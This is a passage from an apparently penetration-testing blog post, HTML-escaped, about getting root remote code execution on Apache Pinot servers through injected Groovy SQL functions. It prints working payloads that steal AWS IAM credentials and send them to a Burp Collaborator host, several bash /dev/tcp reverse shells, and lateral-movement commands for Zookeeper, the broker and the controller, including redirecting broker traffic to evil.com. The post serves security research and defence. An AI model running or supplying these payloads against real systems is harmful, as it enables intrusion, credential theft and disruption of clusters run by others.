  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; keyword is optional for the final statement, so the script could could end with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;; 1&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'println &quot;hello $arg0&quot;; &quot;touch /tmp/id-$arg0&quot;.execute(); 42'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;, expect root-owned files &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-3&lt;/code&gt;, etc. for each row.&lt;/p&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;aws&quot;&gt;AWS&lt;/h4&gt;

&lt;p&gt;Steal temporary AWS IAM credentials from pinot-server.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;'def aws = &quot;169.254.169.254/latest/meta-data/iam/security-credentials/&quot;;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;'def collab = &quot;xyz.burpcollaborator.net/&quot;;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'def role = &quot;curl -s ${aws}&quot;.execute().text.split(&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;)[0].trim();'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'def creds = &quot;curl -s ${aws}${role}&quot;.execute().text;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'[&quot;curl&quot;, collab, &quot;--data&quot;, creds].execute(); 0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Could give access to cloud resources like S3. The code can of course be adapted to work with IMDSv2.&lt;/p&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h4&gt;

&lt;p&gt;The goal is really to have a root shell from which to explore the cluster at your leisure without your commands appearing in query logs. You can use the following:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'[&quot;bash&quot;, &quot;-c&quot;, &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.4/443 0&amp;gt;&amp;amp;1 &amp;amp;&quot;].execute(); return 1'&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to spawn loads of reverse shells at the same time, one per row.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@pinot-server-1:/opt/pinot#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will be root on whichever Server instances are chosen by the broker based on which Servers contain the required table segments for the query.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;STRING&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'[&quot;bash&quot;, &quot;-c&quot;, &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.4/4444 0&amp;gt;&amp;amp;1 &amp;amp;&quot;].execute().text'&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'x'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This launches one reverse shell. If you accidentally kill the shell, however far into the future, a new reverse shell attempt will be spawned as the Server processes the next row. Yes, the client and Broker will see the query timeout, but the Server will continue executing the query until completion.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;tuning&quot;&gt;Tuning&lt;/h3&gt;

&lt;p&gt;When coming across Pinot for the first time on an engagement, we used a Groovy query similar to the AWS one above. However, as you can already guess, this launched tens of thousands of requests at Burp Collaborator over a span of several hours with no way to stop the runaway query besides confessing our sin to the client.&lt;/p&gt;

&lt;p&gt;To avoid spawning thousands of processes and causing performance degradation and potentially a Denial of Service, limit execution to a single row with an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if&lt;/code&gt; statement in Groovy.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;'if (arg0 == &quot;489&quot;) {'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;'[&quot;bash&quot;, &quot;-c&quot;, &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.4/4444 0&amp;gt;&amp;amp;1 &amp;amp;&quot;].execute();'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'return 1;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'};'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'return 0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A reverse shell is spawned only for the one row with id 489.&lt;/p&gt;

&lt;h2 id=&quot;use-rce-on-server-to-attack-other-nodes&quot;&gt;Use RCE on Server to Attack Other Nodes&lt;/h2&gt;

&lt;p&gt;We have root access to a Server via our reverse shell, giving us access to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;All the segment data stored on the Server&lt;/li&gt;
  &lt;li&gt;Configuration and environment variables with the locations of other services such as Broker and Zookeeper&lt;/li&gt;
  &lt;li&gt;Potentially keys to the cloud environment with juicy IAM permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As we’re root here already, let’s try to use our foothold to affect other parts of the Pinot cluster such as Zookeeper, Brokers, Controllers, and other Servers.&lt;/p&gt;

&lt;p&gt;First we should check the configuration.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@pinot-server-1:/opt/pinot# cat /proc/1/cmdline | sed 's/\x00/ /g'
/usr/local/openjdk-11/bin/java -Xms512M ... -Xlog:gc*:file=/opt/pinot/gc-pinot-server.log -Dlog4j2.configurationFile=/opt/pinot/conf/log4j2.xml -Dplugins.dir=/opt/pinot/plugins -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:...:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-0.10.0-SNAPSHOT-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot org.apache.pinot.tools.admin.PinotAdministrator StartServer -clusterName pinot -zkAddress pinot-zookeeper:2181 -configFileName /var/pinot/server/config/pinot-server.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have a Zookeeper address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-zkAddress pinot-zookeeper:2181&lt;/code&gt; and config file location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-configFileName /var/pinot/server/config/pinot-server.conf&lt;/code&gt;. The file contains data locations and &lt;a href=&quot;https://docs.pinot.apache.org/v/release-0.10.0/operators/tutorials/authentication-authorization-and-acls&quot;&gt;auth tokens&lt;/a&gt; in the unlikely event that internal cluster authentication has been enabled.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;zookeeper-1&quot;&gt;Zookeeper&lt;/h3&gt;

&lt;p&gt;It is likely that the locations of other services are available as environment variables, however the source of truth is Zookeeper. Nodes must be able to read and write to Zookeeper to update their status.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@pinot-server-1:/opt/pinot# cd /tmp
root@pinot-server-1:/tmp# wget -q https://dlcdn.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz &amp;amp;&amp;amp; tar xzf apache-zookeeper-3.8.0-bin.tar.gz
root@pinot-server-1:/tmp# ./apache-zookeeper-3.8.0-bin/bin/zkCli.sh -server pinot-zookeeper:2181
Connecting to pinot-zookeeper:2181
...
2022-06-06 20:53:52,385 [myid:pinot-zookeeper:2181] - INFO  [main-SendThread(pinot-zookeeper:2181):o.a.z.ClientCnxn$SendThread@1444] - Session establishment complete on server pinot-zookeeper/10.103.140.149:2181, session id = 0x10000046bac0016, negotiated timeout = 30000
...
[zk: pinot-zookeeper:2181(CONNECTED) 0] ls /pinot/CONFIGS/PARTICIPANT
[Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099, Controller_pinot-controller-0.pinot-controller-headless.pinot-quickstart.svc.cluster.local_9000, Minion_pinot-minion-0.pinot-minion-headless.pinot-quickstart.svc.cluster.local_9514, Server_pinot-server-0.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098, Server_pinot-server-1.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we have the list of “participants” in our Pinot cluster. We can &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get&lt;/code&gt; the configuration of a Broker:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[zk: pinot-zookeeper:2181(CONNECTED) 1] get /pinot/CONFIGS/PARTICIPANT/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099
{
  &quot;id&quot; : &quot;Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099&quot;,
  &quot;simpleFields&quot; : {
    &quot;HELIX_ENABLED&quot; : &quot;true&quot;,
    &quot;HELIX_ENABLED_TIMESTAMP&quot; : &quot;1654547467392&quot;,
    &quot;HELIX_HOST&quot; : &quot;pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local&quot;,
    &quot;HELIX_PORT&quot; : &quot;8099&quot;
  },
  &quot;mapFields&quot; : { },
  &quot;listFields&quot; : {
    &quot;TAG_LIST&quot; : [ &quot;DefaultTenant_BROKER&quot; ]
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By modifying the broker &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HELIX_HOST&lt;/code&gt; in Zookeeper (using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set&lt;/code&gt;), Pinot queries will be sent via HTTP POST to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/query/sql&lt;/code&gt; on a machine you control rather than the real broker. You can then reply with your own results. While powerful, this is a rather disruptive attack.&lt;/p&gt;

&lt;p&gt;In further mitigation, it will not affect services which send requests directly to a hardcoded Broker address. Many clients do rely on Zookeeper or the Controller to locate the broker, and these clients will be affected. We have not investigated whether intra-cluster mutual TLS would downgrade this attack to DoS.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;broker-1&quot;&gt;Broker&lt;/h3&gt;

&lt;p&gt;We discovered the location of the broker. Its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HELIX_PORT&lt;/code&gt; refers to the an HTTP server used for submitting SQL queries:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'{&quot;sql&quot;:&quot;SELECT X FROM Y&quot;}'&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   http://pinot-broker-0:8099/query/sql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sending queries directly to the broker may be much easier than via the SQLi endpoint. Note that the broker may have basic auth enabled, but as with all Pinot services it is disabled by default.&lt;/p&gt;

&lt;p&gt;All Pinot REST services also have an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/appconfigs&lt;/code&gt; endpoint returning configuration, environment variables and java versions.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;other-servers&quot;&gt;Other Servers&lt;/h3&gt;

&lt;p&gt;There may be data which is only present on other Servers. From your reverse shell, SQL queries can be sent to any other Server via GRPC without requiring authentication.&lt;/p&gt;

&lt;p&gt;Alternatively, we can go back and use Pinot’s &lt;a href=&quot;https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idset&quot;&gt;IdSet subquery functionality&lt;/a&gt; to get shells on other Servers. We do this by injecting an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN_SUBQUERY(columnName, subQuery)&lt;/code&gt; filter into our original query to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tableA&lt;/code&gt; to produce SQL like:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tableA&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;IN_SUBQUERY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;s1&quot;&gt;'x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;s1&quot;&gt;'SELECT ID_SET(firstName) FROM tableB WHERE groovy(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;println &quot;RCE&quot;;return 3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;, studentID)=3'&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is important that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tableA&lt;/code&gt; column name (here the literal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'x'&lt;/code&gt;) and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ID_SET&lt;/code&gt; column of the subquery have the same type. If an integer column from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tableB&lt;/code&gt; is used instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;firstName&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'x'&lt;/code&gt; must be replaced with an integer.&lt;/p&gt;

&lt;p&gt;We now get RCE on the Servers holding segments of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tableB&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;controller-1&quot;&gt;Controller&lt;/h3&gt;

&lt;p&gt;The Controller also has a useful REST API.&lt;/p&gt;

&lt;p&gt;It has methods for getting and setting data such as cluster configuration, table schemas, instance information and segment data.&lt;/p&gt;

&lt;p&gt;It can be used to interact with Zookeeper e.g. to update the broker host like was done directly via Zookeeper above.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; PUT &lt;span class=&quot;s2&quot;&gt;&quot;http://localhost:9000/instances/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099?updateBrokerResource=true&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;&quot;accept: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;{  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;instanceName&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;evil.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: true,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8099&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DefaultTenant_BROKER&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;],  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;BROKER&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pools&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: null,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;grpcPort&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: -1,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;adminPort&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: -1,  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;systemResourceInfo&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: null}&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

